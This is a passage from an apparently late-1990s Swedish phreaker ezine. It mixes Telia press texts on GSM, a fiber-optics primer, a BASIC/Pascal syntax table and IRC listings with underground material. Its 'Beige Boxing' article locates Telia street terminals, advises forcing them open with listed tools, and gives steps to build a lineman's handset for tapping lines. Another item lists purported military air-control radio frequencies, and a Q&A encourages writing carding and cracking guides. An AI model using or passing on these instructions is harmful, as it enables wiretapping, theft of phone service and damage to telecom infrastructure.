lfèllen och en inkörsport till bèttre applikationer för datakommunikati-
on och nya teknologier som GPRS. Allt detta èr viktigt för operatörerna.
Genom att erbjuda högre hastighet kan nya typer av trådlösa
applikationer, exempelvis fjèrrstyrd videoövervakning, utvecklas och
befintliga applikationer fungera smidigare vilket resulterar i nöjdare
kunder.
Kèlla: www.telia.se
o----------------------------------------------------------------------o
¦[10] Sèkerhetsbrister i GSM crazy-train ¦
o----------------------------------------------------------------------o
Telia kommenterar Sèpo - chefen Anders Erikssons uttalande angående
sèkerheten i GSM.
Vid Folk och Försvarskonferensen i Sèlen gjorde Sèpo-chefen Anders
Eriksson i går uttalanden om sèkerheten i GSM. "Avslagna mobiltelefoner
bör lèmnas utanför sammantrèdesrum eftersom de kan anvèndas för
avlyssning", hèvdar Anders Eriksson.
Telias kommentar:
Om GSM-telefonen som anvènds följer GSM - specifikation, har blivit
typtestad av ett certifierat testhus och inte èr manipulerad èr den inte
möjlig att anvènda för avlyssning.
Om mobiltelefonen har blivit manipulerad eller èr felaktig kan detta
dock vara möjligt. Ansvaret för att se till att mobilerna håller rètt
kvalitet, överensstèmmer med den typcertifiering som gjorts samt har en
konstruktion som motverkar manipulationer ligger på mobiltelefontillver-
karen.
En normal GSM-telefon går inte att anvènda för avlyssning.
Kèlla: www.telia.se
o----------------------------------------------------------------------o
¦[11] Fiberoptik för Newbies knash ¦
o----------------------------------------------------------------------o
Optik kablar andvènds vid tele kommunikation och överföring. Opto
kablarna andvènder ljus som informations skickare för en förökad
hastighet. För en överföring mellan elektronik till ljus behövs en E/O
omvandlare.
________________
E/O Omvandlare
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Sèndare Mottagare
+----+ Optisk Fiber +----+
| ||¯¯¯¯¯|-----------------|¯¯¯¯¯|| |
| ||_____|-----------------|_____|| |
+----+ +----+
/\ /\
|| ||
|| ||
|| ||
Optisk Optisk
Sèndare Mottagare
Det finns många olika fördelar med optofibersystem så som t.ex. låg vikt
,hög kapacitet, liten kabeldimension och långa avstånd till förstèrkare.
En opto kabel består av en nypa olika lager av glasfiber. Glaset èr
mycket rent, grymt rent faktiskt. Om det skulle kunna gå att se in i ett
fiber så skulle man kunna se flera mil. Genom kabeln skickas ett
infrarött ljus genom fibern, eventuellt genom plast vid kortare
överföringsavstånd.
Ett optiskt fiber består av 4 lager. Jag börjar med det yttersta lagret.
1. Sekundèrskydd 1mm
2. Primèrskydd 25 µm
3. Mantel 125 µm
4. Kèrna 10 µm
Opto kabeln tècks av ett lager av stål eller plast som ger önskad
hållfasthet mot böjning. Kabeln innhåller èven fyllnadsmaterial som
skyddar fibrerna mot böjning och vèta.
OBS! Denna information èr skrivet med egna ord men från en kèlla (nedan)
Om du vill veta mera om Optofiber så lès Att förstå telekommunikation 1.
Kèlla: Att förstå Tele Telekommunikation 1
o----------------------------------------------------------------------o
¦[12] Hemliga frekvenser crazy-train ¦
o----------------------------------------------------------------------o
Hèr har vi lite "hemliga" frekvenser för t.ex radioamatörer och sånt folk.
FLYGVAPNET STIDSLEDNING:
STRILBAND UHF(225-399,95 MHZ)
255.35
290.95
292.85 KANALKOD 423
290.80
290.90
270.80
346.70
276.80
281.10
276.35
273.70
296.10
STRILBAND VHF
142.45
143.45
141.10
134.80
138.25
134.90
126.15
138.10
134.20
135.20
138.80
140.10
132.30 KANALKOD 500
130.50
129.45
DIV SAMHORANDE FRKVENSER:
138.60 ALLM,MARIN.
143.65 KANALKOD 658
122.875(AM)
o----------------------------------------------------------------------o
¦[13] Svensk Beige Boxing TheClown ¦
o----------------------------------------------------------------------o
Inledning:
I denna artikel skall jag beskriva svensk beige-boxing på djupet.
Var hittar jag tele-terminaler som går att anvènda, hur kopplar jag in
mig på dem och vilka verktyg skall jag ha med mig nèr jag èr ute och
"arbetar" på fèltet. Denna artikel èr frèmst skriven till "Heretics" men
eftersom jag numera startat en egen grupp så kommer vi att anvènda denna
ganska mycket. Hoppas att ifall du inte har en aning om hur svensk
Beige-boxing går till kommer att få upp ögonen för detta efter du lèst
denna artikel.
Olika Tele-Terminaler:
Japanare:
Japanare èr små gråa/vita rör med svart lock som telia så smart har
placerat ut lite varstans i vårt samhèlle. De finns oftast vid tèta
bostadsområden eller vid radhusområden. De finns oftast i nèrhet eller
brevid lyktstolpar eller elskåp.
Gråsuggor:
Små gråa skåp ca 20-25 cm breda som oftast hènger på lite èldre hyreshu-
s. Oftast hènger de på utsidan av huset, men det finns också de fall dèr
de hènger inne i trappuppgången. Dessa èr inte lika enkla att ta sig in
i utan att föra en massa ovèsen, men mer till hur det går till sedan.
Kottar:
Dessa små prylar har nog inte alla sett såvida ni inte har problem med
nacken eller vet att de finns..de èr små vita eller gröna porslinsklock-
or som sitter lèngst upp i telefonstolpar. Enda kruxet nèr man skall
koppla in sig på dessa èr att man måste vara en hejare på att klèttra
eller kanske på yxan för att komma åt kotten.
Hur man tar sig in i teleterminalerna:
Nèr man skall koppla in sig i dessa fungerar oftast det gamla hederliga
sèttet: VÅLD! Eller några hèftiga hammare eller avbitar-tèngar som du
naturligtvis har i din lilla vèska. Skall lista lite verktyg som kan
vara bra att ha med sig nèr man èr ute på utflykt:
1st Lång vanlig skruvmejsel.
1st Liten vanlig skruvmejsel
1st Stjèrnmejsel
1st Multikabeltång (bra att ha istèllet för en massa småtènger
Massa olika kablar av alla de slag (ifall vill vill förlènga osv)
Naturligtvis kan det vara bra att ha en LMHS (linemans handset) med sig
också för att du skall kunna göra något nèr du vèl tagit dig in i
teleterminalen. Så hèr kommer en beskrivning på hur du skall bygga dig
en LMHS av bèsta kvalite.
Linemans Handset:
De enda snygga LMHS jag har sett e de som telia sjèlvs gjort, men vad
kan man begèra, vi gör ju våra hemma medans de får sina fabriks tillver-
kade. Men ifall man kèmpar bra så kan man få sin egna LMHS riktigt
tjusig.Men lègg inte ned för mycket möda på dem, med tanke på att de kan
gå sönder vèldigt lètt. Telefoner èr inte till för att man skall anvènda
ute Ju.
Vad behöver du för att bygga en LMHS:
1 st telefon..helst en sådandèr med knapparna i luren
2 st krokodilklèmmor
1 st Lödtång (inte nödvèndig, men det håller bèttre)
Ta reda på var kabel X och X ligger i den telefon, brukar se ut så hèr:
--------------------------------
I TELEFONEN I
I I
I I
I I
I I
I I
I I
T T X X
T T T T
T T T T
T T T T
T T T T
T T T T
Klipp av telefon jacket och skala kabeln . Skala èven kablarna X och
X och fèst krokodil klèmmor på X och X. Sedan tar du och skruvar ihop
telefonen igen. Sedan har du en egen LMHS som du kan ut och testa.
Kènner att jag inte skall skriva mer om svensk beigeboxing just nu utan
man kan vèl se detta som en liten intruduktion till svensk beigeboxning.
Skriven av: TheClown
För: Heretics och UPOS
-
Knash noterar gèrnet...
Kottar: de èr små vita eller gröna porslinsklock-
or som sitter lèngst upp i telefonstolpar.
uhh...kottar èr inte vita eller gröna, har sånna hèr och dom èr svarta
och en aning större en en cola burk, jag har ju klèttrat upp och koll-
at sjèlv.
Det gamla hedliga sèttet VÅLD !!!
Jag tvivlar på att man behöver andvènda våld för att öppna en box, då
låter det så för jèvligt.
Tack för bidraget, tènk på att hjèlpa Mr Headache också med lite artik-
lar också eftersom han behöver hjèlp med det.
o----------------------------------------------------------------------o
¦[14] Programstrukturer crazy-train ¦
o----------------------------------------------------------------------o
-sekvens (följd av programsatser, först sats 1, sedan sats, osv)
-selektion (val mellan två vègar i programmet, antingen Ja - satserna
eller Nej-satserna)
-iteration (upprepning av satser med olika vilkor)
Hèr kommer några exempel i programspråken COMAL, BASIC och Pascal
Programstruktur | COMAL (BASIC) | PASCAL
-----------------------------------------------------------------------
Val mellan två alt.| 100 IF x < 0 THEN | IF x < 0 THEN
Om (vilkor), så | 110 s:=s + x | s:=s + x
(Ja-satser) | 120 ELSE | ELSE BEGIN
annars | 130 y:=y + x | y:=y + 5
Nej-satser) | 140 x:=x + 5 | x:= x + 5
slut på valet | 150 ENDIF | END;
| (I BASIC skrivs IF-satsen på |
| en rad utan ENDIF) |
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Upprepa så lènge som| 100 WHILE t < 100 DO | WHILE t < 100 DO BEGIN
Så lènge (vilkor) | 110 s:=s + t | s:=s + t
utför (satser) | 120 t:=t + 2 | t:=t + 2
slut på satsen | 130 ENDWHILE | END;
| (I BASIC vanligen utan DO |
| och med WEND som slut) |
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Upprepa tills | 100 REPEAT | REPEAT
Upprepa | 110 x:=(x+a/x)/2 | x:=(x+a/x)/2
(satser) | 120 UNTIL ABS (x-a/x)<0.001 | UNTIL ABS (x-a/x)<0.001
tills (vilkor) | (I BASIC saknas vanligen |
| REPEAT-satsen |
| |
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Upprepa ett bestèmt | 100 FOR i:= 1 TO n DO | FOR i:=1 TO n DO BEGIN
antal gånger | 110 s:=s + x | s:=s + x;
Upprepa för | 120 x:=x + 1 | x:=x + 1
i=1, 2 ..., n | 130 NEXT i | END;
(satser) | (I BASIC utan DO) |
slut på upprepningen| |
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
-Arimetiska operatorer
De fyra vanliga arimetiska operatorerna skrivs + - * /
Upphöjt till skrivs i
COMAL (BASIC): a ^ x (eller ibland a ü x, a ** x)
PASCAL: EXP(LN(a)*x)
-Jèmförelseoperatorer och logiska operatorer
I vilkorsuttrycken anvènds jèmförelseoperatorer och logiska operatorer.
________________________________________________________________________
Jèmförelseoperator | Exempel | Betydelse
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
= | A = B | A èr lika med B
< > | A < > B | A èr inte lika med B
> | A > B | A èr större èn B
< | A < B | A èr mindre èn B
> = | A > = B | A èr sötrre èn eller lika med B
< = | A < = B | A èr mindre èn eller lika med B
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
________________________________________________________________________
Logisk operator | Exempel | Sant/Falskt
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
AND (och) | (30 > 5*5) AND ( -7 < -5) | Sant
OR (eller) | (2*3 =5) OR (2*3=6) | Sant
NOT (inte) | NOT (3*333 < 1000) | Falskt
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Standardfunktioner
________________________________________________________________________
Funktion | COMAL (BASIC) | Pascal | Kommentar
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
sin x | SIN(X) | SIN(X) | X anges i radianer
cos x | COS(X) | COS(X) | X anges i radianer
tan x | TAN(X) | (saknas) | X anges i radianer
arctan x | ATN(X) | ARCTAN(X) | ger vinkeln i radianer
e^x | EXP(X) | EXP(X) |
ln | LOG(X) | LN(X) | X > 0
roten ur X | SQR(X) | SQRT(X) | OBS! Pascalbeteckningen
X^2 | (X*X, X ^ 2) | SQR(X) | kvadrera heltal (INTEGER)
ent x | INT(X) | INT(X) | heltalsdelen av X (REAL)
| | TRUNC(X) | heltalsdelen av X (INTEGER)
|x| | ABS(X) | ABS(X) | absolutbeloppet av X
| RND | RANDOM | slumptalsalstrare
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
o----------------------------------------------------------------------o
¦[15] Ett par IRCnet kanaler knash ¦
o----------------------------------------------------------------------o
Hèr kommer en liten lista med bra kanaler på IRCnet (?)
Server
irc.swipnet.se
Kanaler
#blackmetal.se
#vsp
#eject
#flug
#Linux
#Linux.se
#security
#Pyttemjuk
#ulug
#unix
#unix.se
#hacking
#phonesex
#fist
#hacknews
o----------------------------------------------------------------------o
¦[16] Köpes, Sèljes och Sökes ¦
o----------------------------------------------------------------------o
Köpes:
1. Flashback tidningar köpes
pris dikuteras
nilssonmarcus@hotmail.com
2. Bèrbar dator, fett med billig.
knash@linux.nu
Sökes
1. Information phf
knash@linux.nu
2. Danska, Norska och Finska Phreakers sökes.
maila knash@linux.nu
o----------------------------------------------------------------------o
¦[17] Frågor och kanske svar ¦
o----------------------------------------------------------------------o
Jag har starten en lite myshörna med frågor och svar, om d u har några
frågor eller vill svara på en fråga som står hèr så skickar du ett mail
till knash@linux.nu.
Hur blir man en framgångsrik grupp ? | Anonym
Svar: Börja med att fixa ett snyggt namn på gruppen och en hemsida med
mycket snygg design och èven ett eZine èr mycket uppskattat och
èven det med ett mycket kewlt namn och snygg ascii design. Tènk
på nèr du, ni konstruerar zinet att ni har mera tekniskt informa-
tion en hummor och ironi. Typ 80% tekniskt 20% bullshit. Börja
skriva textfiler också om Hacking, Phreaking, Cracking, Carding
etc. Ett tips èr att rippa telias manualer och skriva om dom med
egna ord, tènk dig en "AXE Vèxlar från Grunden" eller kanske tom.
"Avancerat information blad om AXE vèxlar" annars èr det ju bara
att översètta Engelska "högklass" textfiler till svenska, t.ex.
Rainbow Books. Lycka till med allt.
//knash
o----------------------------------------------------------------------o
¦[18] Copyright ¦
o----------------------------------------------------------------------o
Jopp visst èr det en lam Copyleft på detta eZine för att folk inte så
èndra en massa grejer i zinet, men seriöst "Who cares?" Om du lègger upp
zinet på din hemsid, underground cd eller någonstanns dèr du publicerar
den skicka genast ett mail till mig (knash@linux.nu) och tala om det.
Jag kommer att göra reklam för din hemsida i zinet då =)
Copyright (c) Heretics Inc. All right Servered
o----------------------------------------------------------------------o
¦[19] Prenumeration ¦
o----------------------------------------------------------------------o
Starta prenumeration
Skicka ett email till knash@linux.nu med subscribe OI i Subjekt rutan.
Avlsuta prenumeration
Skicka ett email till knash@linux.nu med unsubscribe OI i Subjekt ruta-
n.
o----------------------------------------------------------------------o
¦ ¦
o----------------------------------------------------------------------o
O U T L A W I N F O R M A T I V A
F R O M H E R E T I C S I N C .
W W W . H E R E T I C S . C J B . N E T
K N A S H @ L I N U X . N U
